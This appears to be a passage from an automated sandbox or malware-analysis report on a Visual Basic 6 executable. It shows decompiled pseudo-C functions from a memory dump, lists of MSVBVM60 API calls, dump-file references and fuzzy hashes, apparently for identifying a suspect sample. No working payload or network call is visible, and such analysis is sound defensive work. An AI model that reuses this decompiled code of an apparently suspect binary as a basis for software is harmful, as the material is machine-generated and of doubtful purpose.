                    				_v92 =  ~( ~( ~_t103));
                    				L00401636();
                    				if(_v92 != 0) {
                    					if( *0x41931c != 0) {
                    						_v120 = 0x41931c;
                    					} else {
                    						_push(0x41931c);
                    						_push(0x41137c);
                    						L00401696();
                    						_v120 = 0x41931c;
                    					}
                    					_v92 =  *_v120;
                    					_t128 =  *((intOrPtr*)( *_v92 + 0x1c))(_v92,  &_v36);
                    					asm("fclex");
                    					_v96 = _t128;
                    					if(_v96 >= 0) {
                    						_v124 = _v124 & 0x00000000;
                    					} else {
                    						_push(0x1c);
                    						_push(0x41136c);
                    						_push(_v92);
                    						_push(_v96);
                    						L00401690();
                    						_v124 = _t128;
                    					}
                    					_v100 = _v36;
                    					_v64 = 0x80020004;
                    					_v72 = 0xa;
                    					L004014B0();
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					_t134 =  *((intOrPtr*)( *_v100 + 0x54))(_v100, 0x10,  &_v40);
                    					asm("fclex");
                    					_v104 = _t134;
                    					if(_v104 >= 0) {
                    						_v128 = _v128 & 0x00000000;
                    					} else {
                    						_push(0x54);
                    						_push(0x4115e4);
                    						_push(_v100);
                    						_push(_v104);
                    						L00401690();
                    						_v128 = _t134;
                    					}
                    					_v116 = _v40;
                    					_v40 = _v40 & 0x00000000;
                    					_v48 = _v116;
                    					_v56 = 9;
                    					_push(0x10);
                    					L004014B0();
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					_push(0);
                    					_push(_v28);
                    					L00401660();
                    					L0040168A();
                    					L00401636();
                    				}
                    				if( *0x419010 != 0) {
                    					_v132 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v132 = 0x419010;
                    				}
                    				_t111 =  &_v36;
                    				L0040169C();
                    				_v92 = _t111;
                    				_t114 =  *((intOrPtr*)( *_v92 + 0x1ac))(_v92, _t111,  *((intOrPtr*)( *((intOrPtr*)( *_v132)) + 0x314))( *_v132));
                    				asm("fclex");
                    				_v96 = _t114;
                    				if(_v96 >= 0) {
                    					_v136 = _v136 & 0x00000000;
                    				} else {
                    					_push(0x1ac);
                    					_push(0x4113cc);
                    					_push(_v92);
                    					_push(_v96);
                    					L00401690();
                    					_v136 = _t114;
                    				}
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v140 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v140 = 0x419010;
                    				}
                    				_t118 =  &_v36;
                    				L0040169C();
                    				_v92 = _t118;
                    				_v64 = 0x80020004;
                    				_v72 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t122 =  *((intOrPtr*)( *_v92 + 0x1b0))(_v92, 0x10, _t118,  *((intOrPtr*)( *((intOrPtr*)( *_v140)) + 0x314))( *_v140));
                    				asm("fclex");
                    				_v96 = _t122;
                    				if(_v96 >= 0) {
                    					_v144 = _v144 & 0x00000000;
                    				} else {
                    					_push(0x1b0);
                    					_push(0x4113cc);
                    					_push(_v92);
                    					_push(_v96);
                    					L00401690();
                    					_v144 = _t122;
                    				}
                    				L0040168A();
                    				_v32 = 0x7c1;
                    				_push(0x4167ff);
                    				L0040168A();
                    				return _t122;
                    			}




































                    0x00416508
                    0x00416517
                    0x00416521
                    0x00416529
                    0x0041652c
                    0x00416533
                    0x00416542
                    0x00416545
                    0x0041654c
                    0x00416559
                    0x0041655e
                    0x00416561
                    0x00416562
                    0x0041656a
                    0x00416570
                    0x00416577
                    0x00416582
                    0x0041658f
                    0x004165a9
                    0x00416591
                    0x00416591
                    0x00416596
                    0x0041659b
                    0x004165a0
                    0x004165a0
                    0x004165b5
                    0x004165c4
                    0x004165c7
                    0x004165c9
                    0x004165d0
                    0x004165e9
                    0x004165d2
                    0x004165d2
                    0x004165d4
                    0x004165d9
                    0x004165dc
                    0x004165df
                    0x004165e4
                    0x004165e4
                    0x004165f0
                    0x004165f3
                    0x004165fa
                    0x00416608
                    0x00416612
                    0x00416613
                    0x00416614
                    0x00416615
                    0x0041661e
                    0x00416621
                    0x00416623
                    0x0041662a
                    0x00416643
                    0x0041662c
                    0x0041662c
                    0x0041662e
                    0x00416633
                    0x00416636
                    0x00416639
                    0x0041663e
                    0x0041663e
                    0x0041664a
                    0x0041664d
                    0x00416654
                    0x00416657
                    0x0041665e
                    0x00416661
                    0x0041666b
                    0x0041666c
                    0x0041666d
                    0x0041666e
                    0x0041666f
                    0x00416671
                    0x00416674
                    0x0041667c
                    0x00416684
                    0x00416684
                    0x00416690
                    0x004166aa
                    0x00416692
                    0x00416692
                    0x00416697
                    0x0041669c
                    0x004166a1
                    0x004166a1
                    0x004166c5
                    0x004166c9
                    0x004166ce
                    0x004166d9
                    0x004166df
                    0x004166e1
                    0x004166e8
                    0x00416707
                    0x004166ea
                    0x004166ea
                    0x004166ef
                    0x004166f4
                    0x004166f7
                    0x004166fa
                    0x004166ff
                    0x004166ff
                    0x00416711
                    0x0041671d
                    0x0041673a
                    0x0041671f
                    0x0041671f
                    0x00416724
                    0x00416729
                    0x0041672e
                    0x0041672e
                    0x0041675e
                    0x00416762
                    0x00416767
                    0x0041676a
                    0x00416771
                    0x0041677b
                    0x00416785
                    0x00416786
                    0x00416787
                    0x00416788
                    0x00416791
                    0x00416797
                    0x00416799
                    0x004167a0
                    0x004167bf
                    0x004167a2
                    0x004167a2
                    0x004167a7
                    0x004167ac
                    0x004167af
                    0x004167b2
                    0x004167b7
                    0x004167b7
                    0x004167c9
                    0x004167ce
                    0x004167d4
                    0x004167f9
                    0x004167fe

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00416521
                    • __vbaVarDup.MSVBVM60 ref: 00416559
                    • #558.MSVBVM60(?), ref: 00416562
                    • __vbaFreeVar.MSVBVM60(?), ref: 00416577
                    • __vbaNew2.MSVBVM60(0041137C,0041931C,?), ref: 0041659B
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,0000001C,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004165DF
                    • __vbaChkstk.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00416608
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004115E4,00000054,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00416639
                    • __vbaChkstk.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00416661
                    • __vbaLateIdSt.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00416674
                    • __vbaFreeObj.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041667C
                    • __vbaFreeVar.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00416684
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?), ref: 0041669C
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 004166C9
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113CC,000001AC), ref: 004166FA
                    • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00416711
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 00416729
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00416762
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 0041677B
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113CC,000001B0), ref: 004167B2
                    • __vbaFreeObj.MSVBVM60(00000000,?,004113CC,000001B0), ref: 004167C9
                    • __vbaFreeObj.MSVBVM60(004167FF), ref: 004167F9
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$CheckChkstkHresult$New2$#558Late
                    • String ID: theatrelike
                    • API String ID: 2936400604-1874956215
                    • Opcode ID: 8490d9d8b1c5f89872b189ee0442a63aeb9c7d3367f7434c56b87e376824dcba
                    • Instruction ID: b68530bd7e9e46a2c3921527dca841b27bb1bc1e04fab6afc52cfc8ec0db0b55
                    • Opcode Fuzzy Hash: 8490d9d8b1c5f89872b189ee0442a63aeb9c7d3367f7434c56b87e376824dcba
                    • Instruction Fuzzy Hash: BD91DF74D00208AFDB10EFE5C885BDDBBB5BF08308F20446AE511BB2A1DB799985DF58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 55%
                    			E00414E48(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v16;
                    				short _v28;
                    				intOrPtr _v32;
                    				char _v36;
                    				char _v40;
                    				char _v44;
                    				intOrPtr _v52;
                    				intOrPtr _v60;
                    				void* _v64;
                    				intOrPtr* _v68;
                    				signed int _v72;
                    				intOrPtr* _v76;
                    				signed int _v80;
                    				intOrPtr* _v92;
                    				signed int _v96;
                    				intOrPtr* _v100;
                    				signed int _v104;
                    				intOrPtr* _v108;
                    				intOrPtr* _v112;
                    				signed int _v116;
                    				signed int _v120;
                    				intOrPtr* _v124;
                    				signed int _v128;
                    				char* _t114;
                    				signed int _t117;
                    				char* _t121;
                    				signed int _t125;
                    				char* _t129;
                    				signed int _t133;
                    				short _t134;
                    				char* _t140;
                    				signed int _t144;
                    				char* _t145;
                    				signed int _t148;
                    				void* _t173;
                    				void* _t175;
                    				intOrPtr _t176;
                    				signed int _t181;
                    
                    				_t176 = _t175 - 0xc;
                    				 *[fs:0x0] = _t176;
                    				L004014B0();
                    				_v16 = _t176;
                    				_v12 = 0x401278;
                    				_v8 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x68,  *[fs:0x0], 0x4014b6, _t173);
                    				if( *0x419010 != 0) {
                    					_v92 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v92 = 0x419010;
                    				}
                    				_t114 =  &_v40;
                    				L0040169C();
                    				_v68 = _t114;
                    				_t117 =  *((intOrPtr*)( *_v68 + 0x208))(_v68, _t114,  *((intOrPtr*)( *((intOrPtr*)( *_v92)) + 0x310))( *_v92));
                    				asm("fclex");
                    				_v72 = _t117;
                    				if(_v72 >= 0) {
                    					_v96 = _v96 & 0x00000000;
                    				} else {
                    					_push(0x208);
                    					_push(0x411498);
                    					_push(_v68);
                    					_push(_v72);
                    					L00401690();
                    					_v96 = _t117;
                    				}
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v100 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v100 = 0x419010;
                    				}
                    				_t121 =  &_v40;
                    				L0040169C();
                    				_v68 = _t121;
                    				_v52 = 0x80020004;
                    				_v60 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t125 =  *((intOrPtr*)( *_v68 + 0x12c))(_v68, 0x10, _t121,  *((intOrPtr*)( *((intOrPtr*)( *_v100)) + 0x34c))( *_v100));
                    				asm("fclex");
                    				_v72 = _t125;
                    				_t181 = _v72;
                    				if(_t181 >= 0) {
                    					_v104 = _v104 & 0x00000000;
                    				} else {
                    					_push(0x12c);
                    					_push(0x4114a8);
                    					_push(_v68);
                    					_push(_v72);
                    					L00401690();
                    					_v104 = _t125;
                    				}
                    				L0040168A();
                    				_push(0x4114bc);
                    				L004015D6();
                    				asm("fcomp qword [0x4011d0]");
                    				asm("fnstsw ax");
                    				asm("sahf");
                    				if(_t181 != 0) {
                    					if( *0x41931c != 0) {
                    						_v108 = 0x41931c;
                    					} else {
                    						_push(0x41931c);
                    						_push(0x41137c);
                    						L00401696();
                    						_v108 = 0x41931c;
                    					}
                    					_v76 =  *_v108;
                    					if( *0x419010 != 0) {
                    						_v112 = 0x419010;
                    					} else {
                    						_push(0x419010);
                    						_push(0x41192c);
                    						L00401696();
                    						_v112 = 0x419010;
                    					}
                    					_t140 =  &_v40;
                    					L0040169C();
                    					_v68 = _t140;
                    					_t144 =  *((intOrPtr*)( *_v68 + 0x48))(_v68,  &_v36, _t140,  *((intOrPtr*)( *((intOrPtr*)( *_v112)) + 0x328))( *_v112));
                    					asm("fclex");
                    					_v72 = _t144;
                    					if(_v72 >= 0) {
                    						_v116 = _v116 & 0x00000000;
                    					} else {
                    						_push(0x48);
                    						_push(0x4113cc);
                    						_push(_v68);
                    						_push(_v72);
                    						L00401690();
                    						_v116 = _t144;
                    					}
                    					L004015D0();
                    					_t145 =  &_v44;
                    					L0040169C();
                    					_t148 =  *((intOrPtr*)( *_v76 + 0x40))(_v76, _t145, _t145, _t144, _v32, 0x4114c0, _v36);
                    					asm("fclex");
                    					_v80 = _t148;
                    					if(_v80 >= 0) {
                    						_v120 = _v120 & 0x00000000;
                    					} else {
                    						_push(0x40);
                    						_push(0x41136c);
                    						_push(_v76);
                    						_push(_v80);
                    						L00401690();
                    						_v120 = _t148;
                    					}
                    					L0040165A();
                    					_push( &_v44);
                    					_push( &_v40);
                    					_push(2);
                    					L00401654();
                    				}
                    				if( *0x419010 != 0) {
                    					_v124 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v124 = 0x419010;
                    				}
                    				_t129 =  &_v40;
                    				L0040169C();
                    				_v68 = _t129;
                    				_t133 =  *((intOrPtr*)( *_v68 + 0x88))(_v68,  &_v64, _t129,  *((intOrPtr*)( *((intOrPtr*)( *_v124)) + 0x34c))( *_v124));
                    				asm("fclex");
                    				_v72 = _t133;
                    				if(_v72 >= 0) {
                    					_v128 = _v128 & 0x00000000;
                    				} else {
                    					_push(0x88);
                    					_push(0x4114a8);
                    					_push(_v68);
                    					_push(_v72);
                    					L00401690();
                    					_v128 = _t133;
                    				}
                    				_t134 = _v64;
                    				_v28 = _t134;
                    				L0040168A();
                    				asm("wait");
                    				_push(0x4151a0);
                    				L0040168A();
                    				return _t134;
                    			}











































                    0x00414e4b
                    0x00414e5a
                    0x00414e64
                    0x00414e6c
                    0x00414e6f
                    0x00414e76
                    0x00414e85
                    0x00414e8f
                    0x00414ea9
                    0x00414e91
                    0x00414e91
                    0x00414e96
                    0x00414e9b
                    0x00414ea0
                    0x00414ea0
                    0x00414ec4
                    0x00414ec8
                    0x00414ecd
                    0x00414ed8
                    0x00414ede
                    0x00414ee0
                    0x00414ee7
                    0x00414f03
                    0x00414ee9
                    0x00414ee9
                    0x00414eee
                    0x00414ef3
                    0x00414ef6
                    0x00414ef9
                    0x00414efe
                    0x00414efe
                    0x00414f0a
                    0x00414f16
                    0x00414f30
                    0x00414f18
                    0x00414f18
                    0x00414f1d
                    0x00414f22
                    0x00414f27
                    0x00414f27
                    0x00414f4b
                    0x00414f4f
                    0x00414f54
                    0x00414f57
                    0x00414f5e
                    0x00414f68
                    0x00414f72
                    0x00414f73
                    0x00414f74
                    0x00414f75
                    0x00414f7e
                    0x00414f84
                    0x00414f86
                    0x00414f89
                    0x00414f8d
                    0x00414fa9
                    0x00414f8f
                    0x00414f8f
                    0x00414f94
                    0x00414f99
                    0x00414f9c
                    0x00414f9f
                    0x00414fa4
                    0x00414fa4
                    0x00414fb0
                    0x00414fb5
                    0x00414fba
                    0x00414fbf
                    0x00414fc5
                    0x00414fc7
                    0x00414fc8
                    0x00414fd5
                    0x00414fef
                    0x00414fd7
                    0x00414fd7
                    0x00414fdc
                    0x00414fe1
                    0x00414fe6
                    0x00414fe6
                    0x00414ffb
                    0x00415005
                    0x0041501f
                    0x00415007
                    0x00415007
                    0x0041500c
                    0x00415011
                    0x00415016
                    0x00415016
                    0x0041503a
                    0x0041503e
                    0x00415043
                    0x00415052
                    0x00415055
                    0x00415057
                    0x0041505e
                    0x00415077
                    0x00415060
                    0x00415060
                    0x00415062
                    0x00415067
                    0x0041506a
                    0x0041506d
                    0x00415072
                    0x00415072
                    0x00415086
                    0x0041508c
                    0x00415090
                    0x0041509e
                    0x004150a1
                    0x004150a3
                    0x004150aa
                    0x004150c3
                    0x004150ac
                    0x004150ac
                    0x004150ae
                    0x004150b3
                    0x004150b6
                    0x004150b9
                    0x004150be
                    0x004150be
                    0x004150ca
                    0x004150d2
                    0x004150d6
                    0x004150d7
                    0x004150d9
                    0x004150de
                    0x004150e8
                    0x00415102
                    0x004150ea
                    0x004150ea
                    0x004150ef
                    0x004150f4
                    0x004150f9
                    0x004150f9
                    0x0041511d
                    0x00415121
                    0x00415126
                    0x00415135
                    0x0041513b
                    0x0041513d
                    0x00415144
                    0x00415160
                    0x00415146
                    0x00415146
                    0x0041514b
                    0x00415150
                    0x00415153
                    0x00415156
                    0x0041515b
                    0x0041515b
                    0x00415164
                    0x00415168
                    0x0041516f
                    0x00415174
                    0x00415175
                    0x0041519a
                    0x0041519f

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00414E64
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00414E9B
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00414EC8
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411498,00000208), ref: 00414EF9
                    • __vbaFreeObj.MSVBVM60(00000000,?,00411498,00000208), ref: 00414F0A
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 00414F22
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00414F4F
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 00414F68
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004114A8,0000012C), ref: 00414F9F
                    • __vbaFreeObj.MSVBVM60(00000000,?,004114A8,0000012C), ref: 00414FB0
                    • __vbaR8Str.MSVBVM60(004114BC), ref: 00414FBA
                    • __vbaNew2.MSVBVM60(0041137C,0041931C,004114BC), ref: 00414FE1
                    • __vbaNew2.MSVBVM60(0041192C,00419010,004114BC), ref: 00415011
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,004114BC), ref: 0041503E
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113CC,00000048,?,?,004114BC), ref: 0041506D
                    • __vbaCastObj.MSVBVM60(?,004114C0,?,?,?,004114BC), ref: 00415086
                    • __vbaObjSet.MSVBVM60(?,00000000,?,004114C0,?,?,?,004114BC), ref: 00415090
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000040,?,?,004114BC), ref: 004150B9
                    • __vbaFreeStr.MSVBVM60(?,?,?,?,004114BC), ref: 004150CA
                    • __vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,?,?,004114BC), ref: 004150D9
                    • __vbaNew2.MSVBVM60(0041192C,00419010,004114BC), ref: 004150F4
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,004114BC), ref: 00415121
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004114A8,00000088,?,?,?,?,?,004114BC), ref: 00415156
                    • __vbaFreeObj.MSVBVM60(?,?,?,?,?,004114BC), ref: 0041516F
                    • __vbaFreeObj.MSVBVM60(004151A0,?,?,?,?,?,004114BC), ref: 0041519A
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$CheckHresultNew2$Chkstk$CastList
                    • String ID:
                    • API String ID: 2710452558-0
                    • Opcode ID: ed9300c562757c7534a959cc25a59269b19ceb1cb19c7ad9942c873725ba74c7
                    • Instruction ID: 3ae174b4ebf5dfbf5d39602a5854acd05c66858fc9ed8c7378c081d1f36400af
                    • Opcode Fuzzy Hash: ed9300c562757c7534a959cc25a59269b19ceb1cb19c7ad9942c873725ba74c7
                    • Instruction Fuzzy Hash: 0DA1D474900208EFCB10EFE1C859BDDBBB9BF08704F24446AE505BB2A1CB796985DF58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 57%
                    			E00414B75(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4, void* _a16) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr* _v16;
                    				char _v28;
                    				intOrPtr _v32;
                    				char _v36;
                    				char _v40;
                    				char _v56;
                    				intOrPtr _v64;
                    				char _v72;
                    				signed int _v76;
                    				signed int _v80;
                    				char _v92;
                    				signed int _v96;
                    				intOrPtr* _v100;
                    				signed int _v104;
                    				intOrPtr* _v108;
                    				signed int _v112;
                    				void* _t71;
                    				signed int _t75;
                    				signed int _t79;
                    				signed int _t83;
                    				signed int _t87;
                    				char* _t88;
                    				char* _t90;
                    				signed int _t93;
                    				char* _t95;
                    				void* _t110;
                    				void* _t112;
                    				intOrPtr* _t113;
                    				signed long long _t126;
                    
                    				_t113 = _t112 - 0xc;
                    				 *[fs:0x0] = _t113;
                    				L004014B0();
                    				_v16 = _t113;
                    				_v12 = 0x401268;
                    				_v8 = 0;
                    				_t71 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x58,  *[fs:0x0], 0x4014b6, _t110);
                    				_t95 =  &_v28;
                    				L00401684();
                    				L004015DC();
                    				L004015E2();
                    				asm("fcomp qword [0x401258]");
                    				asm("fnstsw ax");
                    				asm("sahf");
                    				if(__eflags != 0) {
                    					_push(_t95);
                    					 *_t113 =  *0x401250;
                    					_t126 =  *0x401248 *  *0x4011d8;
                    					if( *0x419000 != 0) {
                    						_push( *0x4011d4);
                    						_push( *0x4011d0);
                    						L004014D4();
                    					} else {
                    						_t126 = _t126 /  *0x4011d0;
                    					}
                    					_v92 = _t126;
                    					_v56 = _v92;
                    					 *_t113 =  *0x401240;
                    					L00401612();
                    					 *_t113 =  *0x401230;
                    					_v72 =  *0x40122c;
                    					_v76 =  *0x401228;
                    					_t93 =  *((intOrPtr*)( *_a4 + 0x2c0))(_a4, 0x1c2, _t95, _t95, _t95, _t71, _t95, _t95);
                    					asm("fclex");
                    					_v76 = _t93;
                    					if(_v76 >= 0) {
                    						_t19 =  &_v96;
                    						 *_t19 = _v96 & 0x00000000;
                    						__eflags =  *_t19;
                    					} else {
                    						_push(0x2c0);
                    						_push(0x410d28);
                    						_push(_a4);
                    						_push(_v76);
                    						L00401690();
                    						_v96 = _t93;
                    					}
                    				}
                    				if( *0x419010 != 0) {
                    					_v100 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v100 = 0x419010;
                    				}
                    				_t75 =  &_v36;
                    				L0040169C();
                    				_v76 = _t75;
                    				_v64 = 0x80020004;
                    				_v72 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t79 =  *((intOrPtr*)( *_v76 + 0x1ec))(_v76, L"Spherulitize", 0x10, _t75,  *((intOrPtr*)( *((intOrPtr*)( *_v100)) + 0x32c))( *_v100));
                    				asm("fclex");
                    				_v80 = _t79;
                    				if(_v80 >= 0) {
                    					_t39 =  &_v104;
                    					 *_t39 = _v104 & 0x00000000;
                    					__eflags =  *_t39;
                    				} else {
                    					_push(0x1ec);
                    					_push(0x4113f0);
                    					_push(_v76);
                    					_push(_v80);
                    					L00401690();
                    					_v104 = _t79;
                    				}
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v108 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v108 = 0x419010;
                    				}
                    				_t83 =  &_v36;
                    				L0040169C();
                    				_v76 = _t83;
                    				_t87 =  *((intOrPtr*)( *_v76 + 0x160))(_v76,  &_v40, _t83,  *((intOrPtr*)( *((intOrPtr*)( *_v108)) + 0x314))( *_v108));
                    				asm("fclex");
                    				_v80 = _t87;
                    				if(_v80 >= 0) {
                    					_t58 =  &_v112;
                    					 *_t58 = _v112 & 0x00000000;
                    					__eflags =  *_t58;
                    				} else {
                    					_push(0x160);
                    					_push(0x4113cc);
                    					_push(_v76);
                    					_push(_v80);
                    					L00401690();
                    					_v112 = _t87;
                    				}
                    				_push(0);
                    				_push(0);
                    				_push(_v40);
                    				_t88 =  &_v56;
                    				_push(_t88);
                    				L00401618();
                    				_push(_t88);
                    				L0040160C();
                    				_v32 = _t88;
                    				_push( &_v40);
                    				_t90 =  &_v36;
                    				_push(_t90);
                    				_push(2);
                    				L00401654();
                    				L00401636();
                    				asm("wait");
                    				_push(0x414e21);
                    				L0040165A();
                    				return _t90;
                    			}


































                    0x00414b78
                    0x00414b87
                    0x00414b91
                    0x00414b99
                    0x00414b9c
                    0x00414ba3
                    0x00414bb2
                    0x00414bb8
                    0x00414bbb
                    0x00414bc6
                    0x00414bcb
                    0x00414bd0
                    0x00414bd6
                    0x00414bd8
                    0x00414bd9
                    0x00414be5
                    0x00414be6
                    0x00414bef
                    0x00414bfc
                    0x00414c06
                    0x00414c0c
                    0x00414c12
                    0x00414bfe
                    0x00414bfe
                    0x00414bfe
                    0x00414c17
                    0x00414c1e
                    0x00414c28
                    0x00414c31
                    0x00414c3e
                    0x00414c48
                    0x00414c52
                    0x00414c62
                    0x00414c68
                    0x00414c6a
                    0x00414c71
                    0x00414c8d
                    0x00414c8d
                    0x00414c8d
                    0x00414c73
                    0x00414c73
                    0x00414c78
                    0x00414c7d
                    0x00414c80
                    0x00414c83
                    0x00414c88
                    0x00414c88
                    0x00414c71
                    0x00414c98
                    0x00414cb2
                    0x00414c9a
                    0x00414c9a
                    0x00414c9f
                    0x00414ca4
                    0x00414ca9
                    0x00414ca9
                    0x00414ccd
                    0x00414cd1
                    0x00414cd6
                    0x00414cd9
                    0x00414ce0
                    0x00414cea
                    0x00414cf4
                    0x00414cf5
                    0x00414cf6
                    0x00414cf7
                    0x00414d05
                    0x00414d0b
                    0x00414d0d
                    0x00414d14
                    0x00414d30
                    0x00414d30
                    0x00414d30
                    0x00414d16
                    0x00414d16
                    0x00414d1b
                    0x00414d20
                    0x00414d23
                    0x00414d26
                    0x00414d2b
                    0x00414d2b
                    0x00414d37
                    0x00414d43
                    0x00414d5d
                    0x00414d45
                    0x00414d45
                    0x00414d4a
                    0x00414d4f
                    0x00414d54
                    0x00414d54
                    0x00414d78
                    0x00414d7c
                    0x00414d81
                    0x00414d90
                    0x00414d96
                    0x00414d98
                    0x00414d9f
                    0x00414dbb
                    0x00414dbb
                    0x00414dbb
                    0x00414da1
                    0x00414da1
                    0x00414da6
                    0x00414dab
                    0x00414dae
                    0x00414db1
                    0x00414db6
                    0x00414db6
                    0x00414dbf
                    0x00414dc1
                    0x00414dc3
                    0x00414dc6
                    0x00414dc9
                    0x00414dca
                    0x00414dd2
                    0x00414dd3
                    0x00414dd8
                    0x00414dde
                    0x00414ddf
                    0x00414de2
                    0x00414de3
                    0x00414de5
                    0x00414df0
                    0x00414df5
                    0x00414df6
                    0x00414e1b
                    0x00414e20

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00414B91
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00414BBB
                    • __vbaFPInt.MSVBVM60(?,?,?,?,004014B6), ref: 00414BC6
                    • __vbaFpR8.MSVBVM60(?,?,?,?,004014B6), ref: 00414BCB
                    • _adj_fdiv_m64.MSVBVM60(?,?,?,?,?,004014B6), ref: 00414C12
                    • __vbaFpI4.MSVBVM60(?,?,?,?,?,?,?,004014B6), ref: 00414C31
                    • __vbaHresultCheckObj.MSVBVM60(00000000,00401268,00410D28,000002C0), ref: 00414C83
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00414CA4
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00414CD1
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 00414CEA
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001EC), ref: 00414D26
                    • __vbaFreeObj.MSVBVM60(00000000,?,004113F0,000001EC), ref: 00414D37
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 00414D4F
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00414D7C
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113CC,00000160), ref: 00414DB1
                    • __vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 00414DCA
                    • __vbaI4Var.MSVBVM60(00000000,?,?,?,004014B6), ref: 00414DD3
                    • __vbaFreeObjList.MSVBVM60(00000002,00000000,?,00000000,?,?,?,004014B6), ref: 00414DE5
                    • __vbaFreeVar.MSVBVM60(?,?,00000000,?,?,?,004014B6), ref: 00414DF0
                    • __vbaFreeStr.MSVBVM60(00414E21,?,?,00000000,?,?,?,004014B6), ref: 00414E1B
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
